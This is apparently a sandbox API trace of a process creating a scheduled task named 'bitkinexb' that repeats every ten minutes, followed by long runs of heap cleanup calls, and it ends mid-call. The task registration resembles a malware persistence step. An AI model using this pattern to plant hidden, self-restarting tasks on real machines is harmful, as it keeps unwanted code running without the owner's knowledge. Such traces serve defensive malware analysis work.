[0061.721] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0061.721] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0061.721] StrChrW (lpStart=" ", wMatch=0x6b) returned 0x0 [0061.721] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0061.721] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0061.721] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0061.721] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0061.721] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0061.721] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0061.721] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0061.721] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0061.721] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0061.721] IUnknown:Release (This=0x2c6140) returned 0x1 [0061.721] IUnknown:Release (This=0x2c7db0) returned 0x1 [0061.721] ITaskDefinition:get_Triggers (in: This=0x2c7cf0, ppTriggers=0x1fcb60 | out: ppTriggers=0x1fcb60*=0x2c7ef0) returned 0x0 [0061.721] ITriggerCollection:Create (in: This=0x2c7ef0, Type=1, ppTrigger=0x1fcb58 | out: ppTrigger=0x1fcb58*=0x2c61b0) returned 0x0 [0061.721] lstrlenW (lpString="10") returned 2 [0061.722] _vsnwprintf (in: _Buffer=0x1fcae0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x1fcad8 | out: _Buffer="PT10M") returned 5 [0061.722] ITrigger:get_Repetition (in: This=0x2c61b0, ppRepeat=0x1fcb50 | out: ppRepeat=0x1fcb50*=0x2c6240) returned 0x0 [0061.722] IRepetitionPattern:put_Interval (This=0x2c6240, Interval="PT10M") returned 0x0 [0061.722] IUnknown:Release (This=0x2c6240) returned 0x1 [0061.722] _vsnwprintf (in: _Buffer=0x1fcaa0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1fca78 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0061.722] ITrigger:put_StartBoundary (This=0x2c61b0, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0061.722] lstrlenW (lpString="") returned 0 [0061.722] lstrlenW (lpString="") returned 0 [0061.722] lstrlenW (lpString="") returned 0 [0061.722] lstrlenW (lpString="") returned 0 [0061.722] IUnknown:Release (This=0x2c61b0) returned 0x1 [0061.722] IUnknown:Release (This=0x2c7ef0) returned 0x1 [0061.722] ITaskDefinition:get_Settings (in: This=0x2c7cf0, ppSettings=0x1fd000 | out: ppSettings=0x1fd000*=0x2c5f80) returned 0x0 [0061.722] lstrlenW (lpString="") returned 0 [0061.722] IUnknown:Release (This=0x2c5f80) returned 0x1 [0061.722] GetLocalTime (in: lpSystemTime=0x1fceb8 | out: lpSystemTime=0x1fceb8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2e, wMilliseconds=0x173)) [0061.722] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0061.723] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0061.723] GetUserNameW (in: lpBuffer=0x1fcee0, pcbBuffer=0x1fcec8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1fcec8) returned 1 [0061.723] ITaskDefinition:get_RegistrationInfo (in: This=0x2c7cf0, ppRegistrationInfo=0x1fceb0 | out: ppRegistrationInfo=0x1fceb0*=0x2c7e30) returned 0x0 [0061.723] IRegistrationInfo:put_Author (This=0x2c7e30, Author="") returned 0x0 [0061.723] _vsnwprintf (in: _Buffer=0x1fcee0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1fce78 | out: _Buffer="2023-09-19T17:16:46") returned 19 [0061.723] IRegistrationInfo:put_Date (This=0x2c7e30, Date="") returned 0x0 [0061.724] IUnknown:Release (This=0x2c7e30) returned 0x1 [0061.724] malloc (_Size=0x18) returned 0x2c62c0 [0061.724] free (_Block=0x2c62c0) [0061.724] lstrlenW (lpString="") returned 0 [0061.724] malloc (_Size=0x18) returned 0x2c62c0 [0061.724] ITaskFolder:RegisterTaskDefinition (in: This=0x2c7ca0, Path="bitkinexb", pDefinition=0x2c7cf0, flags=6, UserId=0x1fd150*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1fd190*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1ff060, varVal2=0xfe), LogonType=3, sddl=0x1fd170*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1fd070 | out: ppTask=0x1fd070*=0x2c6460) returned 0x0 [0062.020] free (_Block=0x2c62c0) [0062.020] _memicmp (_Buf1=0x32bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.020] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0062.020] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0062.020] GetProcessHeap () returned 0x310000 [0062.020] GetProcessHeap () returned 0x310000 [0062.020] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6e0) returned 1 [0062.020] GetProcessHeap () returned 0x310000 [0062.020] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d6e0) returned 0xc [0062.021] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6e0 | out: hHeap=0x310000) returned 1 [0062.021] GetProcessHeap () returned 0x310000 [0062.021] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x82) returned 0x349ae0 [0062.021] _vsnwprintf (in: _Buffer=0x1fd7b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1fd018 | out: _Buffer="SUCCESS: The scheduled task \"bitkinexb\" has successfully been created.\n") returned 71 [0062.021] _fileno (_File=0x7feffe22ab0) returned -2 [0062.021] _errno () returned 0x2c4bb0 [0062.021] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0062.021] SetLastError (dwErrCode=0x6) [0062.021] lstrlenW (lpString="SUCCESS: The scheduled task \"bitkinexb\" has successfully been created.\n") returned 71 [0062.021] GetConsoleOutputCP () returned 0x0 [0062.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"bitkinexb\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0062.021] GetConsoleOutputCP () returned 0x0 [0062.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"bitkinexb\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0xffe51880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"bitkinexb\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0062.021] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 71 [0062.021] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0062.022] IUnknown:Release (This=0x2c6460) returned 0x0 [0062.022] TaskScheduler:IUnknown:Release (This=0x2c7cf0) returned 0x0 [0062.022] TaskScheduler:IUnknown:Release (This=0x2c7ca0) returned 0x0 [0062.022] TaskScheduler:IUnknown:Release (This=0x41dee0) returned 0x1 [0062.022] lstrlenW (lpString="") returned 0 [0062.022] lstrlenW (lpString="10") returned 2 [0062.022] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="10", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0062.022] GetProcessHeap () returned 0x310000 [0062.022] GetProcessHeap () returned 0x310000 [0062.022] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c470) returned 1 [0062.022] GetProcessHeap () returned 0x310000 [0062.022] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c470) returned 0x1fc [0062.022] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c470 | out: hHeap=0x310000) returned 1 [0062.022] GetProcessHeap () returned 0x310000 [0062.022] GetProcessHeap () returned 0x310000 [0062.022] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bab0) returned 1 [0062.022] GetProcessHeap () returned 0x310000 [0062.022] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bab0) returned 0x6 [0062.022] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bab0 | out: hHeap=0x310000) returned 1 [0062.022] GetProcessHeap () returned 0x310000 [0062.022] GetProcessHeap () returned 0x310000 [0062.022] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d640) returned 1 [0062.023] GetProcessHeap () returned 0x310000 [0062.023] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d640) returned 0x16 [0062.023] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d640 | out: hHeap=0x310000) returned 1 [0062.023] GetProcessHeap () returned 0x310000 [0062.023] GetProcessHeap () returned 0x310000 [0062.023] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d620) returned 1 [0062.023] GetProcessHeap () returned 0x310000 [0062.023] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d620) returned 0x18 [0062.023] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d620 | out: hHeap=0x310000) returned 1 [0062.023] GetProcessHeap () returned 0x310000 [0062.023] GetProcessHeap () returned 0x310000 [0062.023] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce90) returned 1 [0062.023] GetProcessHeap () returned 0x310000 [0062.023] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ce90) returned 0x20 [0062.023] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce90 | out: hHeap=0x310000) returned 1 [0062.023] GetProcessHeap () returned 0x310000 [0062.023] GetProcessHeap () returned 0x310000 [0062.023] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c110) returned 1 [0062.023] GetProcessHeap () returned 0x310000 [0062.023] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c110) returned 0xa0 [0062.024] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c110 | out: hHeap=0x310000) returned 1 [0062.024] GetProcessHeap () returned 0x310000 [0062.024] GetProcessHeap () returned 0x310000 [0062.024] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb90) returned 1 [0062.024] GetProcessHeap () returned 0x310000 [0062.024] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bb90) returned 0x18 [0062.024] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb90 | out: hHeap=0x310000) returned 1 [0062.024] GetProcessHeap () returned 0x310000 [0062.024] GetProcessHeap () returned 0x310000 [0062.024] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc50) returned 1 [0062.024] GetProcessHeap () returned 0x310000 [0062.024] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cc50) returned 0x20 [0062.024] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc50 | out: hHeap=0x310000) returned 1 [0062.024] GetProcessHeap () returned 0x310000 [0062.024] GetProcessHeap () returned 0x310000 [0062.024] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x329480) returned 1 [0062.024] GetProcessHeap () returned 0x310000 [0062.024] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x329480) returned 0x3a [0062.025] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x329480 | out: hHeap=0x310000) returned 1 [0062.025] GetProcessHeap () returned 0x310000 [0062.025] GetProcessHeap () returned 0x310000 [0062.025] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d660) returned 1 [0062.025] GetProcessHeap () returned 0x310000 [0062.025] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d660) returned 0x18 [0062.025] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d660 | out: hHeap=0x310000) returned 1 [0062.025] GetProcessHeap () returned 0x310000 [0062.025] GetProcessHeap () returned 0x310000 [0062.025] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc20) returned 1 [0062.025] GetProcessHeap () returned 0x310000 [0062.026] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cc20) returned 0x20 [0062.026] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc20 | out: hHeap=0x310000) returned 1 [0062.026] GetProcessHeap () returned 0x310000 [0062.026] GetProcessHeap () returned 0x310000 [0062.026] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x329430) returned 1 [0062.026] GetProcessHeap () returned 0x310000 [0062.026] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x329430) returned 0x3c [0062.026] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x329430 | out: hHeap=0x310000) returned 1 [0062.026] GetProcessHeap () returned 0x310000 [0062.026] GetProcessHeap () returned 0x310000 [0062.026] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d600) returned 1 [0062.026] GetProcessHeap () returned 0x310000 [0062.027] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d600) returned 0x18 [0062.027] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d600 | out: hHeap=0x310000) returned 1 [0062.027] GetProcessHeap () returned 0x310000 [0062.027] GetProcessHeap () returned 0x310000 [0062.027] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cbf0) returned 1 [0062.027] GetProcessHeap () returned 0x310000 [0062.027] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cbf0) returned 0x20 [0062.027] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cbf0 | out: hHeap=0x310000) returned 1 [0062.027] GetProcessHeap () returned 0x310000 [0062.027] GetProcessHeap () returned 0x310000 [0062.027] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c450) returned 1 [0062.027] GetProcessHeap () returned 0x310000 [0062.027] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c450) returned 0xe [0062.027] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c450 | out: hHeap=0x310000) returned 1 [0062.027] GetProcessHeap () returned 0x310000 [0062.027] GetProcessHeap () returned 0x310000 [0062.027] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c430) returned 1 [0062.027] GetProcessHeap () returned 0x310000 [0062.027] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c430) returned 0x18 [0062.027] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c430 | out: hHeap=0x310000) returned 1 [0062.027] GetProcessHeap () returned 0x310000 [0062.027] GetProcessHeap () returned 0x310000 [0062.027] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325e10) returned 1 [0062.028] GetProcessHeap () returned 0x310000 [0062.028] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325e10) returned 0x20 [0062.028] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325e10 | out: hHeap=0x310000) returned 1 [0062.028] GetProcessHeap () returned 0x310000 [0062.028] GetProcessHeap () returned 0x310000 [0062.028] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bd10) returned 1 [0062.028] GetProcessHeap () returned 0x310000 [0062.028] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bd10) returned 0x208 [0062.028] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bd10 | out: hHeap=0x310000) returned 1 [0062.028] GetProcessHeap () returned 0x310000 [0062.028] GetProcessHeap () returned 0x310000 [0062.028] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb70) returned 1 [0062.029] GetProcessHeap () returned 0x310000 [0062.029] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bb70) returned 0x18 [0062.029] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bb70 | out: hHeap=0x310000) returned 1 [0062.029] GetProcessHeap () returned 0x310000 [0062.029] GetProcessHeap () returned 0x310000 [0062.029] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325d20) returned 1 [0062.029] GetProcessHeap () returned 0x310000 [0062.029] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325d20) returned 0x20 [0062.029] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325d20 | out: hHeap=0x310000) returned 1 [0062.029] GetProcessHeap () returned 0x310000 [0062.029] GetProcessHeap () returned 0x310000 [0062.029] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d3c0) returned 1 [0062.029] GetProcessHeap () returned 0x310000 [0062.029] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d3c0) returned 0x200 [0062.030] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d3c0 | out: hHeap=0x310000) returned 1 [0062.030] GetProcessHeap () returned 0x310000 [0062.030] GetProcessHeap () returned 0x310000 [0062.030] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bbb0) returned 1 [0062.030] GetProcessHeap () returned 0x310000 [0062.030] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bbb0) returned 0x18 [0062.030] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bbb0 | out: hHeap=0x310000) returned 1 [0062.030] GetProcessHeap () returned 0x310000 [0062.030] GetProcessHeap () returned 0x310000 [0062.030] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325c90) returned 1 [0062.030] GetProcessHeap () returned 0x310000 [0062.030] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325c90) returned 0x20 [0062.030] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325c90 | out: hHeap=0x310000) returned 1 [0062.030] GetProcessHeap () returned 0x310000 [0062.030] GetProcessHeap () returned 0x310000 [0062.030] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c320) returned 1 [0062.030] GetProcessHeap () returned 0x310000 [0062.030] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c320) returned 0x14 [0062.031] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c320 | out: hHeap=0x310000) returned 1 [0062.031] GetProcessHeap () returned 0x310000 [0062.031] GetProcessHeap () returned 0x310000 [0062.031] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c300) returned 1 [0062.031] GetProcessHeap () returned 0x310000 [0062.031] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c300) returned 0x18 [0062.031] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c300 | out: hHeap=0x310000) returned 1 [0062.031] GetProcessHeap () returned 0x310000 [0062.031] GetProcessHeap () returned 0x310000 [0062.031] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325bd0) returned 1 [0062.031] GetProcessHeap () returned 0x310000 [0062.031] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325bd0) returned 0x20 [0062.031] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325bd0 | out: hHeap=0x310000) returned 1 [0062.031] GetProcessHeap () returned 0x310000 [0062.031] GetProcessHeap () returned 0x310000 [0062.031] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c340) returned 1 [0062.031] GetProcessHeap () returned 0x310000 [0062.031] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c340) returned 0x16 [0062.031] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c340 | out: hHeap=0x310000) returned 1 [0062.031] GetProcessHeap () returned 0x310000 [0062.031] GetProcessHeap () returned 0x310000 [0062.032] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c1c0) returned 1 [0062.032] GetProcessHeap () returned 0x310000 [0062.032] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c1c0) returned 0x18 [0062.032] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c1c0 | out: hHeap=0x310000) returned 1 [0062.032] GetProcessHeap () returned 0x310000 [0062.032] GetProcessHeap () returned 0x310000 [0062.032] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325ba0) returned 1 [0062.032] GetProcessHeap () returned 0x310000 [0062.032] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325ba0) returned 0x20 [0062.032] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325ba0 | out: hHeap=0x310000) returned 1 [0062.032] GetProcessHeap () returned 0x310000 [0062.032] GetProcessHeap () returned 0x310000 [0062.032] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32baf0) returned 1 [0062.032] GetProcessHeap () returned 0x310000 [0062.032] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32baf0) returned 0x2 [0062.032] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32baf0 | out: hHeap=0x310000) returned 1 [0062.032] GetProcessHeap () returned 0x310000 [0062.032] GetProcessHeap () returned 0x310000 [0062.032] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x3259f0) returned 1 [0062.032] GetProcessHeap () returned 0x310000 [0062.032] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x3259f0) returned 0x20 [0062.033] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3259f0 | out: hHeap=0x310000) returned 1 [0062.033] GetProcessHeap () returned 0x310000 [0062.033] GetProcessHeap () returned 0x310000 [0062.033] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325a20) returned 1 [0062.033] GetProcessHeap () returned 0x310000 [0062.033] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325a20) returned 0x20 [0062.033] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325a20 | out: hHeap=0x310000) returned 1 [0062.034] GetProcessHeap () returned 0x310000 [0062.034] GetProcessHeap () returned 0x310000 [0062.034] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325a50) returned 1 [0062.034] GetProcessHeap () returned 0x310000 [0062.034] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325a50) returned 0x20 [0062.034] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325a50 | out: hHeap=0x310000) returned 1 [0062.035] GetProcessHeap () returned 0x310000 [0062.035] GetProcessHeap () returned 0x310000 [0062.035] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x325a80) returned 1 [0062.035] GetProcessHeap () returned 0x310000 [0062.035] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x325a80) returned 0x20 [0062.035] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325a80 | out: hHeap=0x310000) returned 1 [0062.035] GetProcessHeap () returned 0x310000 [0062.035] GetProcessHeap () returned 0x310000 [0062.035] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc80) returned 1 [0062.035] GetProcessHeap () returned 0x310000 [0062.035] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cc80) returned 0x20 [0062.035] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc80 | out: hHeap=0x310000) returned 1 [0062.035] GetProcessHeap () returned 0x310000 [0062.035] GetProcessHeap () returned 0x310000 [0062.035] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d760) returned 1 [0062.035] GetProcessHeap () returned 0x310000 [0062.035] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d760) returned 0xe [0062.035] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d760 | out: hHeap=0x310000) returned 1 [0062.035] GetProcessHeap () returned 0x310000 [0062.035] GetProcessHeap () returned 0x310000 [0062.035] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ccb0) returned 1 [0062.035] GetProcessHeap () returned 0x310000 [0062.036] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ccb0) returned 0x20 [0062.036] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ccb0 | out: hHeap=0x310000) returned 1 [0062.036] GetProcessHeap () returned 0x310000 [0062.036] GetProcessHeap () returned 0x310000 [0062.036] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x327b80) returned 1 [0062.036] GetProcessHeap () returned 0x310000 [0062.036] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x327b80) returned 0x30 [0062.036] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x327b80 | out: hHeap=0x310000) returned 1 [0062.036] GetProcessHeap () returned 0x310000 [0062.036] GetProcessHeap () returned 0x310000 [0062.036] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cce0) returned 1 [0062.036] GetProcessHeap () returned 0x310000 [0062.036] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cce0) returned 0x20 [0062.036] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cce0 | out: hHeap=0x310000) returned 1 [0062.036] GetProcessHeap () returned 0x310000 [0062.036] GetProcessHeap () returned 0x310000 [0062.037] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x327bc0) returned 1 [0062.037] GetProcessHeap () returned 0x310000 [0062.037] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x327bc0) returned 0x30 [0062.037] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x327bc0 | out: hHeap=0x310000) returned 1 [0062.037] GetProcessHeap () returned 0x310000 [0062.037] GetProcessHeap () returned 0x310000 [0062.037] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce60) returned 1 [0062.037] GetProcessHeap () returned 0x310000 [0062.037] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ce60) returned 0x20 [0062.037] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce60 | out: hHeap=0x310000) returned 1 [0062.037] GetProcessHeap () returned 0x310000 [0062.037] GetProcessHeap () returned 0x310000 [0062.038] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d680) returned 1 [0062.038] GetProcessHeap () returned 0x310000 [0062.038] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d680) returned 0xe [0062.038] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d680 | out: hHeap=0x310000) returned 1 [0062.038] GetProcessHeap () returned 0x310000 [0062.038] GetProcessHeap () returned 0x310000 [0062.038] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce30) returned 1 [0062.038] GetProcessHeap () returned 0x310000 [0062.038] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ce30) returned 0x20 [0062.038] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce30 | out: hHeap=0x310000) returned 1 [0062.038] GetProcessHeap () returned 0x310000 [0062.038] GetProcessHeap () returned 0x310000 [0062.038] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6a0) returned 1 [0062.038] GetProcessHeap () returned 0x310000 [0062.038] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d6a0) returned 0x16 [0062.038] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6a0 | out: hHeap=0x310000) returned 1 [0062.038] GetProcessHeap () returned 0x310000 [0062.038] GetProcessHeap () returned 0x310000 [0062.038] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce00) returned 1 [0062.038] GetProcessHeap () returned 0x310000 [0062.038] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ce00) returned 0x20 [0062.039] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce00 